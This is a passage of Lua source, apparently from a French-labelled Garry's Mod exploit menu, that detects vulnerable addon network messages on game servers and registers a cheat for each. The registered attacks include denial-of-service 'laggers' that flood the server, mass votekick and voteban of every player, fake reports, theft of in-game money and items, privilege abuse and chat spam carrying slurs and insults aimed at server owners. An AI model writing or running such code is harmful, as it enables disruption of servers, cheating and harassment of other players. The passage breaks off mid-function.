4655net.SendToServer()
4656end
4657end)
4658NOTIFICATION("Starting Lagger")
4659else
4660timer.Remove("lagger10")
4661NOTIFICATION("Stopping Lagger")
4662end
4663end )
4664end
4665
4666status = ValidNetString("MG2.Request.GangRankings")
4667if (status) then
4668CHATPRINT("Exploit Trouvé : Lagger #11 [MG2.Request.GangRankings]")
4669addExploit( "33","Lagger #11", "", function()
4670surface.PlaySound("garrysmod/ui_click.wav")
4671if !timer.Exists( "lagger11" ) then
4672timer.Create("lagger11", 0, 0, function()
4673for i = 1, 1000 do
4674net.Start("MG2.Request.GangRankings",true)
4675net.SendToServer()
4676end
4677end)
4678NOTIFICATION("Starting Lagger")
4679else
4680timer.Remove("lagger11")
4681NOTIFICATION("Stopping Lagger")
4682end
4683end )
4684end
4685
4686status = ValidNetString("dLogsGetCommand")
4687if (status) then
4688CHATPRINT("Exploit Trouvé : Lagger #12 [dLogsGetCommand]")
4689addExploit( "34","Lagger #12", "", function()
4690surface.PlaySound("garrysmod/ui_click.wav")
4691NOTIFICATION("Starting Lagger")
4692for i=1,7000 do
4693net.Start("dLogsGetCommand",true)
4694net.WriteTable({ cmd = "+forward" , args = " " })
4695net.SendToServer()
4696end
4697end )
4698end
4699
4700status = ValidNetString("ats_send_toServer")
4701if (status) then
4702CHATPRINT("Exploit Trouvé : Lagger #13 [ats_send_toServer]")
4703addExploit( "35","Lagger #13", "", function()
4704surface.PlaySound("garrysmod/ui_click.wav")
4705NOTIFICATION("Starting Lagger")
4706for i=1,2000 do
4707net.Start("ats_send_toServer",true)
4708net.WriteTable({ " " , "Open" , nil , nil , nil , nil })
4709net.SendToServer()
4710end
4711end )
4712end
4713
4714status = ValidNetString("shopguild_buyitem")
4715if (status) then
4716CHATPRINT("Exploit Trouvé : Exploit De Guildes [shopguild_buyitem]")
4717addExploit( "36","Exploit De Guildes", "", function()
4718surface.PlaySound("garrysmod/ui_click.wav")
4719CHATPRINT("Guild level successfully upgraded")
4720local level = tonumber(LocalPlayer():GetNWInt("lvlguild"))
4721if level > tonumber(LocalPlayer():GetNWInt("lvlguild")) then level = tonumber(LocalPlayer():GetNWInt("lvlguild")) end
4722net.Start("shopguild_buyitem")
4723net.WriteString("lvl")
4724net.WriteDouble(level)
4725net.WriteString("Guild Level "..level)
4726net.WriteEntity(LocalPlayer())
4727net.WriteUInt(2,4)
4728net.WriteDouble(0)
4729net.SendToServer()
4730level = level + 1
4731end )
4732end
4733
4734status = ValidNetString("VoteKickNO")
4735if (status) then
4736CHATPRINT("Exploit Trouvé : Votekick [VoteKickNO]")
4737addExploit( "37","Votekick", "kicking all", function()
4738surface.PlaySound("garrysmod/ui_click.wav")
4739for k,v in pairs(player.GetAll()) do
4740net.Start("VoteKickNO")
4741net.WriteFloat(v:EntIndex())
4742net.WriteFloat(6)
4743net.SendToServer()
4744net.Start("VoteKickNO")
4745net.WriteFloat(v:EntIndex())
4746net.WriteFloat(6)
4747net.SendToServer()
4748net.Start("VoteKickNO")
4749net.WriteFloat(v:EntIndex())
4750net.WriteFloat(6)
4751net.SendToServer()
4752net.Start("VoteKickNO")
4753net.WriteFloat(v:EntIndex())
4754net.WriteFloat(6)
4755net.SendToServer()
4756end
4757end )
4758end
4759
4760status = ValidNetString("VoteBanNO")
4761if (status) then
4762CHATPRINT("Exploit Trouvé : Voteban [VoteBanNO]")
4763addExploit( "38","Voteban", "bans all", function()
4764surface.PlaySound("garrysmod/ui_click.wav")
4765for k,v in pairs(player.GetAll()) do
4766net.Start("VoteBanNO")
4767net.WriteFloat(v:EntIndex())
4768net.WriteFloat(8)
4769net.SendToServer()
4770net.Start("VoteBanNO")
4771net.WriteFloat(v:EntIndex())
4772net.WriteFloat(8)
4773net.SendToServer()
4774net.Start("VoteBanNO")
4775net.WriteFloat(v:EntIndex())
4776net.WriteFloat(8)
4777net.SendToServer()
4778end
4779end )
4780end
4781
4782status = ValidNetString("NewReport")
4783if (status) then
4784CHATPRINT("Exploit Trouvé : Report Modifié [NewReport]")
4785addExploit( "39","Report Modifié", "", function()
4786surface.PlaySound("garrysmod/ui_click.wav")
4787for k,v in pairs(player.GetAll()) do
4788net.Start("NewReport")
4789net.WriteType(ply)
4790net.WriteInt(8,5)
4791net.WriteString("hahaha")
4792net.SendToServer()
4793end
4794end )
4795end
4796
4797status = ValidNetString("Warn_CreateWarn")
4798if (status) then
4799CHATPRINT("Exploit Trouvé : Warns Modifiés [Warn_CreateWarn]")
4800addExploit( "40","Warns Modifiés", "", function()
4801surface.PlaySound("garrysmod/ui_click.wav")
4802for k,v in pairs(player.GetAll()) do
4803net.Start("Warn_CreateWarn")
4804net.WriteEntity(ply)
4805net.WriteString("hahaha")
4806net.SendToServer()
4807end
4808end )
4809end
4810
4811status = ValidNetString("showDisguiseHUD")
4812if (status) then
4813CHATPRINT("Exploit Trouvé : Déguisements #2 [showDisguiseHUD]")
4814addExploit( "41","Déguisements #2", "", function()
4815surface.PlaySound("garrysmod/ui_click.wav")
4816CHATPRINT("Choisi Ton Déguisements")
4817PlayerCount = 0
4818for k, v in pairs(player.GetAll()) do
4819PlayerCount = PlayerCount + 1
4820end
4821local TeamNum
4822local disguise_Model_Preview_Default
4823local base = vgui.Create("DFrame")
4824base:SetSize(300,420)
4825base:Center()
4826base:SetTitle(" ")
4827base:ShowCloseButton(false)
4828base:MakePopup()
4829function base:Paint()
4830draw.RoundedBoxEx( 5, 0, 0, base:GetWide(), base:GetTall(), Color(20,20,20,200),false,true)
4831draw.RoundedBox( 0, 0, 30, base:GetWide(), base:GetTall()-60, Color(10,10,10,200))
4832draw.RoundedBox( 0, 0, 30, base:GetWide(), 5, Color(255,255,255,255))
4833draw.RoundedBox( 0, 0, 390, base:GetWide(), 5, Color(255,255,255,255))
4834draw.SimpleText("Déguisements", "DisFontBold", base:GetWide()/4, -1)
4835end
4836local ExitButton = vgui.Create("DButton", base)
4837ExitButton:SetPos(base:GetWide()+4-ExitButton:GetWide())
4838ExitButton:SetText("Fermer")
4839ExitButton:SetSize(60,20)
4840ExitButton:SetFont("DermaDefaultBold")
4841ExitButton.Paint = function()
4842if ExitButton.Hovered then
4843if ExitButton:IsDown() then
4844ExitButton:SetTextColor(Color(200,200,200,200))
4845draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,200),false,true)
4846else
4847ExitButton:SetTextColor(Color(255,255,255,255))
4848draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(255,0,0,255),false,true)
4849end
4850else
4851ExitButton:SetTextColor(Color(20,20,20,200))
4852draw.RoundedBoxEx(5,0,0, ExitButton:GetWide(), ExitButton:GetTall(), Color(200,0,0,200),false,true)
4853end
4854end
4855function ExitButton.DoClick()
4856base:Remove()
4857net.Start("changeToPhysgun")
4858net.SendToServer()
4859end
4860local DTeamChoice = vgui.Create("DComboBox", base)
4861DTeamChoice:SetSize(150, 22)
4862DTeamChoice:SetPos(75, 50)
4863DTeamChoice:SetValue("Choisi L'Emplois")
4864for k, v in pairs(team.GetAllTeams()) do
4865if !(HIDDEN_TEAMS[ k ] ) and (team.NumPlayers(k) ~= 0) then DTeamChoice:AddChoice(team.GetName(k)) end
4866end
4867DTeamChoice.OnSelect = function(panel, index, value)
4868for k,_ in pairs(team.GetAllTeams()) do
4869if value == team.GetName(k) then
4870for _, v in pairs(player.GetAll())do
4871if v:Team() == k then
4872TeamNum = v:Team()
4873disguise_Model_Preview_Default = v:GetModel()
4874end
4875end
4876end
4877end
4878timer.Create("RefreshModel", 0.1, 0, function()
4879local icon = vgui.Create( "DModelPanel", base )
4880icon:SetSize(300, 260)
4881icon:SetPos(-5, 80)
4882icon:SetFOV(68)
4883icon:SetModel( disguise_Model_Preview_Default )
4884timer.Simple(0.1, function()
4885icon:Remove()
4886end)
4887end)
4888local DisguiseButton = vgui.Create("DButton", base)
4889DisguiseButton:SetPos(base:GetWide()/2.5, 360)
4890DisguiseButton:SetSize(60,20)
4891DisguiseButton:SetText("Accepter")
4892DisguiseButton:SetFont("DermaDefaultBold")
4893function DisguiseButton:Paint()
4894if DisguiseButton.Hovered then
4895if DisguiseButton:IsDown() then
4896DisguiseButton:SetTextColor(Color(200,200,200,200))
4897draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,200))
4898else
4899DisguiseButton:SetTextColor(Color(255,255,255,255))
4900draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,220,0,255))
4901end
4902else
4903DisguiseButton:SetTextColor(Color(20,20,20,200))
4904draw.RoundedBoxEx(0,0,0, DisguiseButton:GetWide(), DisguiseButton:GetTall(), Color(60,200,0,255))
4905end
4906end
4907function DisguiseButton:DoClick()
4908net.Start("SetPlayerModel")
4909if ChosenName == nil then
4910net.WriteString(LocalPlayer():Nick())
4911else
4912net.WriteString(ChosenName)
4913end
4914net.WriteUInt(TeamNum, 16)
4915net.SendToServer()
4916base:Close()
4917net.Start("changeToPhysgun")
4918net.SendToServer()
4919end
4920end
4921end
4922)
4923end
4924
4925status = ValidNetString("Chatbox_PlayerChat")
4926if (status) then
4927CHATPRINT("Exploit Trouvé : Spam Chat [Chatbox_PlayerChat]")
4928addExploit( "42","Spam Chat", "", function()
4929surface.PlaySound("garrysmod/ui_click.wav")
4930NOTIFICATION("Starting")
4931timer.Create("willoxchatspam", 1, 0, function()
4932net.Start("Chatbox_PlayerChat")
4933net.WriteEntity(LocalPlayer())
4934net.WriteBit(1)
4935net.WriteString("FAGGOTS")
4936net.WriteBit(1)
4937net.SendToServer()
4938end )
4939end )
4940end
4941
4942status = ValidNetString("BuilderXToggleKill")
4943if (status) then
4944CHATPRINT("Exploit Trouvé : Exploits Constructeur Contre Tueur [BuilderXToggleKill]")
4945addExploit( "43","Exploits Constructeur Contre Tueur", "", function()
4946surface.PlaySound("garrysmod/ui_click.wav")
4947NOTIFICATION("Starting")
4948for k, v in pairs(player.GetAll()) do
4949net.Start("BuilderXToggleKill")
4950net.WriteEntity(ply)
4951net.SendToServer()
4952end
4953end )
4954end
4955
4956status = ValidNetString("reports.submit")
4957if (status) then
4958CHATPRINT("Exploit Trouvé : Report Tout Le Monde [reports.submit]")
4959addExploit( "44","Report Tout Le Monde", "", function()
4960surface.PlaySound("garrysmod/ui_click.wav")
4961NOTIFICATION("Starting")
4962for k,v in pairs(player.GetAll()) do
4963net.Start("reports.submit")
4964net.WriteEntity(v)
4965net.WriteInt(5, 8)
4966net.WriteString("SuckMyDick")
4967net.SendToServer()
4968end
4969end )
4970end
4971
4972status = ValidNetString("services_accept")
4973if (status) then
4974CHATPRINT("Exploit Trouvé : Spam Services [services_accept]")
4975addExploit( "45","Spam Services", "spam to all players", function()
4976surface.PlaySound("garrysmod/ui_click.wav")
4977NOTIFICATION("Starting")
4978timer.Create("serviceaccept", 0, 0, function()
4979for k,v in pairs(player.GetAll()) do
4980net.Start("services_accept")
4981net.WriteString("Nice security, retards xd")
4982net.WriteVector(Vector(v:GetPos()))
4983net.WriteString("test image")
4984net.WriteEntity(v)
4985net.SendToServer()
4986end
4987end )
4988timer.Simple(4, function()
4989timer.Destroy("serviceaccept")
4990end )
4991end )
4992end
4993
4994status = ValidNetString("lockpick_sound")
4995if (status) then
4996CHATPRINT("Exploit Trouvé : LockPick Spam Son [lockpick_sound]")
4997addExploit( "46","LockPick Spam Son", "", function()
4998surface.PlaySound("garrysmod/ui_click.wav")
4999NOTIFICATION("Starting")
5000timer.Create( "spamlockpicksound", 3, 0, function()
5001for k, v in pairs( player.GetAll() ) do
5002net.Start("lockpick_sound")
5003net.WriteEntity(v)
5004net.SendToServer()
5005end
5006end )
5007timer.Simple(4, function()
5008timer.Destroy("spamlockpicksound")
5009end )
5010end )
5011end
5012
5013status = ValidNetString("customprinter_get")
5014if (status) then
5015CHATPRINT("Exploit Trouvé : Voler L'Argents Des Printers [customprinter_get]")
5016addExploit( "47","Voler L'Argents Des Printers", "", function()
5017surface.PlaySound("garrysmod/ui_click.wav")
5018NOTIFICATION("Starting")
5019for k, v in pairs(ents.GetAll()) do
5020if v:GetClass():find("print") then
5021net.Start("customprinter_get")
5022net.WriteEntity(v)
5023net.WriteString("g_money")
5024net.SendToServer()
5025end
5026end
5027end )
5028end
5029
5030status = ValidNetString("InformPlayer")
5031if (status) then
5032CHATPRINT("Exploit Trouvé : SimpleGrab Inform [InformPlayer]")
5033addExploit( "48","SimpleGrab Inform", "", function()
5034surface.PlaySound("garrysmod/ui_click.wav")
5035NOTIFICATION("Starting")
5036for k,v in pairs(player.GetAll()) do
5037for i = 0, 100 do
5038net.Start("InformPlayer")
5039net.WriteEntity(v)
5040net.SendToServer()
5041end
5042end
5043end )
5044end
5045
5046status = ValidNetString("pogcp_report_submitReport")
5047if (status) then
5048CHATPRINT("Exploit Trouvé : Report Tout Le Monde #2 [pogcp_report_submitReport]")
5049addExploit( "49","Report Tout Le Monde #2", "", function()
5050surface.PlaySound("garrysmod/ui_click.wav")
5051NOTIFICATION("Starting")
5052for i = 0, 100 do
5053for k,v in pairs(player.GetAll()) do
5054net.Start("pogcp_report_submitReport")
5055net.WriteString("lol")
5056net.WriteString("nice security retards")
5057net.WriteEntity(v)
5058net.SendToServer()
5059end
5060end
5061end )
5062end
5063
5064status = ValidNetString("1942_Fuhrer_SubmitCandidacy")
5065if (status) then
5066CHATPRINT("Exploit Trouvé : Candidature De Dictateur Instant [1942_Fuhrer_SubmitCandidacy]")
5067addExploit( "50","Candidature De Dictateur Instant", "", function()
5068surface.PlaySound("garrysmod/ui_click.wav")
5069NOTIFICATION("Starting")
5070net.Start("1942_Fuhrer_SubmitCandidacy")
5071net.WriteString(LocalPlayer():Nick())
5072net.SendToServer()
5073end )
5074end
5075
5076status = ValidNetString("FacCreate")
5077if (status) then
5078CHATPRINT("Exploit Trouvé : Fac Create [FacCreate]")
5079addExploit( "51","Fac Create", "old exploit", function()
5080surface.PlaySound("garrysmod/ui_click.wav")
5081NOTIFICATION("Starting")
5082timer.Create("fucklol", 1, 0, function()
5083net.Start("FacCreate")
5084net.WriteString("LOL " .. random_string(5))
5085net.WriteString("LOL " .. random_string(10))
5086net.WriteColor(random_color())
5087net.WriteBool(false)
5088net.WriteString(random_string(5))
5089net.SendToServer()
5090end )
5091end )
5092end
5093
5094status = ValidNetString("FactionInviteConsole")
5095if (status) then
5096CHATPRINT("Exploit Trouvé : Faction Invite [FactionInviteConsole]")
5097addExploit( "52","Faction Invite", "", function()
5098surface.PlaySound("garrysmod/ui_click.wav")
5099NOTIFICATION("Starting")
5100timer.Create("lovedarkexploitsxd", 1, 0, function()
5101for k, v in pairs(player.GetAll()) do
5102net.Start("FactionInviteConsole")
5103net.WriteEntity( ply )
5104net.WriteEntity(table.Random(player.GetAll()))
5105net.SendToServer()
5106end
5107end )
5108end )
5109end
5110
5111status = ValidNetString("WithdrewBMoney")
5112if (status) then
5113CHATPRINT("Exploit Trouvé : Argent Gratuite #2 [WithdrewBMoney]")
5114addExploit( "53","Argent Gratuite #2", "an exploit in the addon 'business'", function()
5115surface.PlaySound("garrysmod/ui_click.wav")
5116NOTIFICATION("Starting")
5117net.Start("WithdrewBMoney")
5118net.WriteInt(50000,32)
5119net.SendToServer()
5120end )
5121end
5122
5123status = ValidNetString("deathrag_takeitem")
5124if (status) then
5125CHATPRINT("Exploit Trouvé : Items Faciles [deathrag_takeitem]")
5126addExploit( "54","Items Faciles", "collects money, weapons", function()
5127surface.PlaySound("garrysmod/ui_click.wav")
5128NOTIFICATION("Starting")
5129count = 0
5130for k, v in pairs( ents.GetAll() ) do
5131if v:GetClass() == "prop_ragdoll" then
5132count = count + 1
5133end
5134end
5135if count == 0 then
5136CHATPRINT("No items found")
5137else
5138CHATPRINT("Amount of items "..count)
5139end
5140for k, v in pairs( ents.GetAll() ) do
5141if v:GetClass() == "prop_ragdoll" then
5142for i=1,10 do
5143net.Start("deathrag_takeitem")
5144net.WriteEntity( v )
5145net.WriteInt(i,16)
5146net.SendToServer()
5147end
5148end
5149end
5150end )
5151end
5152
5153status = ValidNetString("REPPurchase")
5154if (status) then
5155CHATPRINT("Exploit Trouvé : Heal & Armure [REPPurchase]")
5156addExploit( "55","Heal & Armure", "armor and hp", function()
5157surface.PlaySound("garrysmod/ui_click.wav")
5158NOTIFICATION("Starting")
5159if LocalPlayer():Health() < 99 then
5160net.Start("REPPurchase")
5161net.WriteString("HEALTH")
5162net.SendToServer()
5163end
5164if LocalPlayer():Armor() < 99 then
5165net.Start("REPPurchase")
5166net.WriteString("ARMOR")
5167net.SendToServer()
5168end
5169end )
5170end
5171
5172status = ValidNetString("BTTTStartVotekick")
5173if (status) then
5174CHATPRINT("Exploit Trouvé : Votekick #2 [BTTTStartVotekick]")
5175addExploit( "56","Votekick #2", "kick all noobs", function()
5176surface.PlaySound("garrysmod/ui_click.wav")
5177NOTIFICATION("Starting")
5178for k,v in pairs(player.GetAll()) do
5179if v != LocalPlayer() then
5180net.Start("BTTTStartVotekick")
5181net.Start("_nonDBVMVote")
5182net.WriteEntity(v)
5183net.WriteString("")
5184net.WriteString("1")
5185net.SendToServer()
5186end
5187end
5188end )
5189end
5190
5191status = ValidNetString("Resupply")
5192if (status) then
5193CHATPRINT("Exploit Trouvé : Respawn Equipment [Resupply]")
5194addExploit( "57","Respawn Equipment", "", function()
5195surface.PlaySound("garrysmod/ui_click.wav")
5196NOTIFICATION("Starting")
5197net.Start("Resupply")
5198net.SendToServer()
5199end )
5200end
5201
5202status = ValidNetString("DarkRP_Defib_ForceSpawn")
5203if (status) then
5204CHATPRINT("Exploit Trouvé : Respawn [DarkRP_Defib_ForceSpawn]")
5205addExploit( "58","Respawn #2", "just respawn", function()
5206surface.PlaySound("garrysmod/ui_click.wav")
5207NOTIFICATION("Respawn")
5208net.Start("DarkRP_Defib_ForceSpawn")
5209net.SendToServer()
5210end )
5211end
5212
5213status = ValidNetString("FiremanLeave")
5214if (status) then
5215CHATPRINT("Exploit Trouvé : Quitter Les Pompiers [FiremanLeave]")
5216addExploit( "59","Fireman Leave", "", function()
5217surface.PlaySound("garrysmod/ui_click.wav")
5218NOTIFICATION("Starting")
5219net.Start("FiremanLeave")
5220net.SendToServer()
5221end )
5222end
5223
5224status = ValidNetString("PoliceJoin")
5225if (status) then
5226CHATPRINT("Exploit Trouvé : Rejoindre La Police [PoliceJoin]")
5227addExploit( "60","Join the Police 1", "joining the police", function()
5228surface.PlaySound("garrysmod/ui_click.wav")
5229NOTIFICATION("Starting")
5230net.Start("PoliceJoin")
5231net.SendToServer()
5232end )
5233end
5234
5235status = ValidNetString("CreateEntity")
5236if (status) then
5237CHATPRINT("Exploit Trouvé : Crée Une Entité [CreateEntity]")
5238addExploit( "61","Create Entity", "", function()
5239surface.PlaySound("garrysmod/ui_click.wav")
5240NOTIFICATION("Starting")
5241for k,v in pairs(player.GetAll()) do
5242net.Start("CreateEntity")
5243net.WriteString("sent_arc_atm")
5244net.WriteFloat(100000000000000000000000000000000000000000000000000)
5245net.WriteEntity(v)
5246net.SendToServer()
5247end
5248end )
5249end
5250
5251status = ValidNetString("CREATE_REPORT")
5252if (status) then
5253CHATPRINT("Exploit Trouvé : Crée Des Reports [CREATE_REPORT]")
5254addExploit( "62","CREATE REPORT", "", function()
5255surface.PlaySound("garrysmod/ui_click.wav")
5256NOTIFICATION("Starting")
5257local tab = {
5258 REPORTER = v:Nick(),
5259 REPORTERID = v:SteamID(),
5260 FAGGOT = v:Nick(),
5261 FAGGOTID = v:SteamID(),
5262 INFO = "Dite Bonjour A YouTube :D",
5263 PROOF = "https://www.youtube.com/channel/UC0QCztHSlkMOmhzygkV6ssQ"
5264 }
5265for k,v in pairs(player.GetAll()) do
5266net.Start("CREATE_REPORT")
5267net.WriteTable(tab)
5268net.SendToServer()
5269end
5270end )
5271end
5272
5273status = ValidNetString("Hopping_Test")
5274if (status) then
5275CHATPRINT("Exploit Trouvé : Test De Bonheur [Hopping_Test]")
5276addExploit( "62","Hopping Test", "", function()
5277surface.PlaySound("garrysmod/ui_click.wav")
5278NOTIFICATION("Starting")
5279for k,v in pairs(player.GetAll()) do
5280net.Start("Hopping_Test")
5281net.WriteEntity(v)
5282net.WriteString("69.696.696969.69")
5283net.SendToServer()
5284end
5285end )
5286end
5287
5288status = ValidNetString("CpForm_Answers")
5289if (status) then
5290CHATPRINT("Exploit Trouvé : Rejoindre La Police [CpForm_Answers]")
5291addExploit( "63","Join the Police 2", "joining the police #2", function()
5292surface.PlaySound("garrysmod/ui_click.wav")
5293NOTIFICATION("Starting")
5294net.Start("CpForm_Answers")
5295net.WriteEntity(LocalPlayer())
5296net.WriteTable({})
5297net.SendToServer()
5298end )
5299end
5300
5301status = ValidNetString("VehicleUnderglow")
5302if (status) then
5303CHATPRINT("Exploit Trouvé : Néon De Véhicule [VehicleUnderglow]")
5304addExploit( "64","Vehicle Underglow", "", function()
5305surface.PlaySound("garrysmod/ui_click.wav")
5306NOTIFICATION("Starting")
5307net.Start("VehicleUnderglow")
5308net.SendToServer()
5309end )
5310end
5311
5312status = ValidNetString("OpenGates")
5313if (status) then
5314CHATPRINT("Exploit Trouvé : Ouvrir Porte #2 [OpenGates]")
5315addExploit( "65","Ouvrir Porte #2", "Force open the door you are looking at", function()
5316surface.PlaySound("garrysmod/ui_click.wav")
5317NOTIFICATION("Starting")
5318net.Start("OpenGates")
5319net.WriteEntity(LocalPlayer():GetEyeTrace().Entity)
5320net.SendToServer()
5321end )
5322end
5323
5324status = ValidNetString("DemotePlayer")
5325if (status) then
5326CHATPRINT("Exploit Trouvé : Démote Tout Les Joueurs [DemotePlayer]")
5327addExploit( "66","Demote All Players", "Demote all players", function()
5328surface.PlaySound("garrysmod/ui_click.wav")
5329NOTIFICATION("Starting")
5330for k, v in pairs(player.GetAll()) do
5331net.Start("DemotePlayer")
5332net.WriteString(v:SteamID())
5333net.SendToServer()
5334end
5335end )
5336end
5337
5338status = ValidNetString("SendMail")
5339if (status) then
5340CHATPRINT("Exploit Trouvé : Envoyez Mail [SendMail]")
5341addExploit( "67","Envoyez Mail", "sending mail to all players", function()
5342surface.PlaySound("garrysmod/ui_click.wav")
5343NOTIFICATION("Starting")
5344for k,v in pairs(player.GetAll()) do
5345net.Start("SendMail")
5346net.WriteString("haha nice security retards")
5347net.WriteString(v:Nick())
5348net.SendToServer()
5349end
5350end )
5351end
5352
5353status = ValidNetString("REPAdminChangeLVL")
5354if (status) then
5355CHATPRINT("Exploit Trouvé : Admin Change Level [REPAdminChangeLVL]")
5356addExploit( "68","Admin Change Level", "free lvl", function()
5357surface.PlaySound("garrysmod/ui_click.wav")
5358NOTIFICATION("Starting")
5359for k,v in pairs(player.GetAll()) do
5360net.Start("REPAdminChangeLVL")
5361net.WriteEntity(v)
5362net.WriteDouble(1090000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5363net.SendToServer()
5364end
5365end )
5366end
5367
5368status = ValidNetString("BuyUpgradesStuff")
5369if (status) then
5370CHATPRINT("Exploit Trouvé : Buy Upgrades [BuyUpgradesStuff]")
5371addExploit( "69","Buy Upgrades", "free upgrades", function()
5372surface.PlaySound("garrysmod/ui_click.wav")
5373NOTIFICATION("Starting")
5374net.Start("BuyUpgradesStuff")
5375net.WriteString("")
5376net.WriteFloat(-100000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000)
5377net.SendToServer()
5378end )
5379end
5380
5381status = ValidNetString("SquadGiveWeapon")
5382if (status) then
5383CHATPRINT("Exploit Trouvé : Give Weapons [SquadGiveWeapon]")
5384addExploit( "70","Give Weapons", "easy weapon", function()
5385surface.PlaySound("garrysmod/ui_click.wav")
5386inputFrameExists = true
5387inputFrame = vgui.Create( "DFrame" )
5388inputFrame:SetTitle("Choose a weapon!")
5389inputFrame:SetSize( 400, 75 )
5390inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5391inputFrame:SetDraggable(false)
5392inputFrame:ShowCloseButton(true)
5393inputFrame:MakePopup()
5394inputFrame.Paint = function( self, w, h )
5395draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5396end
5397local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5398TextEntry:SetSize( 380, 30 )
5399TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5400TextEntry:SetText( "ls_sniper" )
5401TextEntry.OnEnter = function( self )
5402surface.PlaySound("garrysmod/ui_click.wav")
5403NOTIFICATION("Giving Weapon")
5404net.Start("SquadGiveWeapon")
5405net.WriteString( self:GetValue() )
5406net.WriteEntity(LocalPlayer())
5407net.SendToServer()
5408inputFrame:SetVisible(false)
5409end
5410end )
5411end
5412
5413status = ValidNetString("SetTableTarget")
5414if (status) then
5415CHATPRINT("Exploit Trouvé : Set Table Target [SetTableTarget]")
5416addExploit( "71","Set Table Target", "", function()
5417surface.PlaySound("garrysmod/ui_click.wav")
5418NOTIFICATION("Starting")
5419net.Start("SetTableTarget")
5420net.WriteString("pername")
5421net.WriteString("perjob")
5422net.WriteInt(-10000000000000, 32)
5423net.WriteString("hitmansel")
5424net.WriteString("Anony.")
5425net.WriteString("")
5426net.WriteFloat(0)
5427net.WriteInt(-10000000000000, 32)
5428net.SendToServer()
5429end )
5430end
5431
5432status = ValidNetString("UpdateRPUModelSQL")
5433if (status) then
5434CHATPRINT("Exploit Trouvé : Change character model [UpdateRPUModelSQL]")
5435addExploit( "72","Change character model", "", function()
5436surface.PlaySound("garrysmod/ui_click.wav")
5437NOTIFICATION("Starting")
5438net.Start("UpdateRPUModelSQL")
5439net.WriteString(LocalPlayer():GetEyeTrace().Entity:GetModel())
5440net.SendToServer()
5441end )
5442end
5443
5444status = ValidNetString("disguise")
5445if (status) then
5446CHATPRINT("Exploit Trouvé : Disguise [disguise]")
5447addExploit( "73","Disguise", "allows you to disguise as any job", function()
5448surface.PlaySound("garrysmod/ui_click.wav")
5449inputFrameExists = true
5450inputFrame = vgui.Create( "DFrame" )
5451inputFrame:SetTitle("Enter the number of the job")
5452inputFrame:SetSize( 400, 75 )
5453inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5454inputFrame:SetDraggable(false)
5455inputFrame:ShowCloseButton(true)
5456inputFrame:MakePopup()
5457inputFrame.Paint = function( self, w, h )
5458draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5459end
5460local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5461TextEntry:SetSize( 380, 30 )
5462TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5463TextEntry:SetText( "5" )
5464TextEntry.OnEnter = function( self )
5465surface.PlaySound("garrysmod/ui_click.wav")
5466NOTIFICATION("Disguised")
5467net.Start("disguise")
5468net.WriteInt(tonumber(self:GetValue()), 32)
5469net.SendToServer()
5470inputFrame:SetVisible(false)
5471end
5472end )
5473end
5474
5475status = ValidNetString("gportal_rpname_change")
5476if (status) then
5477CHATPRINT("Exploit Trouvé : Your RP Name #1 [gportal_rpname_change]")
5478addExploit( "74","Your RP Name #1", "allows you to put absolutely any rp name", function()
5479surface.PlaySound("garrysmod/ui_click.wav")
5480inputFrameExists = true
5481inputFrame = vgui.Create( "DFrame" )
5482inputFrame:SetTitle("Enter your name")
5483inputFrame:SetSize( 400, 75 )
5484inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5485inputFrame:SetDraggable(false)
5486inputFrame:ShowCloseButton(true)
5487inputFrame:MakePopup()
5488inputFrame.Paint = function( self, w, h )
5489draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5490end
5491local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5492TextEntry:SetSize( 380, 30 )
5493TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
5494TextEntry:SetText( "--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------" )
5495TextEntry.OnEnter = function( self )
5496surface.PlaySound("garrysmod/ui_click.wav")
5497NOTIFICATION("Changed")
5498net.Start("gportal_rpname_change")
5499net.WriteString( (self:GetValue()), 32)
5500net.WriteString(" ")
5501net.SendToServer()
5502inputFrame:SetVisible(false)
5503end
5504end )
5505end
5506
5507status = ValidNetString("NewRPNameSQL")
5508if (status) then
5509CHATPRINT("Exploit Trouvé : Your RP Name #2 [NewRPNameSQL]")
5510addExploit( "75","Your RP Name #2", "allows you to put absolutely any rp name", function()
5511surface.PlaySound("garrysmod/ui_click.wav")
5512inputFrameExists = true
5513inputFrame = vgui.Create( "DFrame" )
5514inputFrame:SetTitle("Enter your name")
5515inputFrame:SetSize( 400, 75 )
5516inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 + 230 )
5517inputFrame:SetDraggable(false)
5518inputFrame:ShowCloseButton(true)
5519inputFrame:MakePopup()
5520inputFrame.Paint = function( self, w, h )
5521draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
5522end
5523local TextEntry = vgui.Create( "DTextEntry", inputFrame )
5524TextEntry:SetSize( 380, 30 )
5525TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2, inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
